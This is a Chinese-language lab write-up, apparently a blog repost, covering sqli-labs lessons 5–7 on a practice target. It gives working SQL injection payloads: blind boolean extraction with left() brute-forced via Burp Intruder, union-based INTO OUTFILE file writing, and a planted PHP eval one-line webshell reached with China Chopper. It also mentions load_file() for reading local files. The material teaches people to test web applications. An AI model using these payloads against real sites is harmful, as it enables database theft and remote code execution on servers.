sqli-labs Less05-Less07

Lesson 05 Double injection -Single quotes - string (双注入GET单引号字符型注入)  bool型注入

(1)查看是否有注入

   ?id=1

   SELECT * FROM users WHERE id='1' LIMIT 0,1

    当随便输入一个ID值时

   没有返回任何东西,通过此可以判断此为布尔盲注。

  就是当正确时,返回结果;错误的时候,不会返回结果

(2)加上单引号,报错

  ?id=1'

  SELECT * FROM users WHERE id='1'' LIMIT 0,1

  错误显示,1的附近多了一个单引号,说明有注入漏洞

(3)使用 order by 语句

  发现还是三列

  ?id=1' order by 3--+

 

(4)这个时候,并不能直接使用union select 语句,因为此时只要输入正确就会出现此语句,并没显示用户的信息。这里使用left()函数,来探取、判断用户信息。

  ?id=1' and left((select database()),1)='s'--+

  此时返回正常,说明库的第一个字母为s

  但是,这样猜解过于麻烦,此时需要使用burp suite爆破

  爆破过程:先设置代理,打开burp suite,获取信息,发送到Intruder,对整体进行clear,再选中a,将a作为变量,点击ADD,把相关配置配置好,开始爆破,出现的结果进行排序,在最上面,数值与其他结果不一样的就是正确的,再继续探索即可,具体图片不再展示。

  之后操作一样,不断爆破,最后得到猜解出结果为security

 

  Lesson 05结束

 

 

 

Lesson 06 Double injection -Double quotes - String (双注入GET双引号字符型注入)

  这道题与第五课差不多

(1)首先测试一下是什么样的

  ?id=1

  包裹着1的是双引号,所以只后测试不用加单引号,直接加双引号即可。

(2)加上双引号测试

   有错误

(3)使用order by语句查列

    还是三列

 

  这对我们来说并没有什么用处,因为它没有回显

  剩下的皆与上一课相似,不再过多演示

  Lesson 06结束

Lesson 07 Dump into outfile - String (导出文件GET字符型注入)

(1)先进行测试,看回显出的语句是什么

   ?id=1

   SELECT * FROM users WHERE id=(('1')) LIMIT 0,1

  显示要用outfile函数去写

(2)看测试出的sql语句,得出下次测试需要在后面加上’)),记得注释掉

    ?id=1'))--+

   显示出正确结果

(3)使用order by语句测试出有三列

(4)使用union select语句进行联合查询(这里要使用一句话木马,中国菜刀)

   先不用一句话木马,只是用outfile往文件里写入一个简单的单词

  ?id=-1')) union select 1,2,'crow' into outfile "C:\phpstudy\WWW\sqli-labs-master\Less-7\test.php"--+

  此时Less-7文件夹里出现了新建立的test.php文件,里面有刚写入的数据

 

  若前面不是-1,而是1,则还会多一行原本的用户信息

(5)因为要使用中国菜刀进行访问,所以要把一句话木马写进去

  ?id=-1')) union select 1,2,'<?php @eval($_POST["crow"]);?>'into outfile "C:\phpstudy\WWW\sqli-labs-master\Less-7\a.php"--+

 

  一句话木马中,双引号内的就是密码

(6)现在开始使用中国菜刀,先直接进行访问

  http://192.168.3.254/sqli-labs-master/Less-7/a.php

  现在还什么都不显示

  使用中国菜刀进行连接

 

   这时,就成功拿到这个网站的web shell

  补充:

  1. into outfile 写文件

    可以把前面的文字写入指定的文件或者指定的路径

 

   如果出现错误,可以将改为\,会比较安全

  2.load_file() 读取本地文件

  Lesson 07结束

原文地址:https://www.cnblogs.com/zhaihuijie/p/12509609.html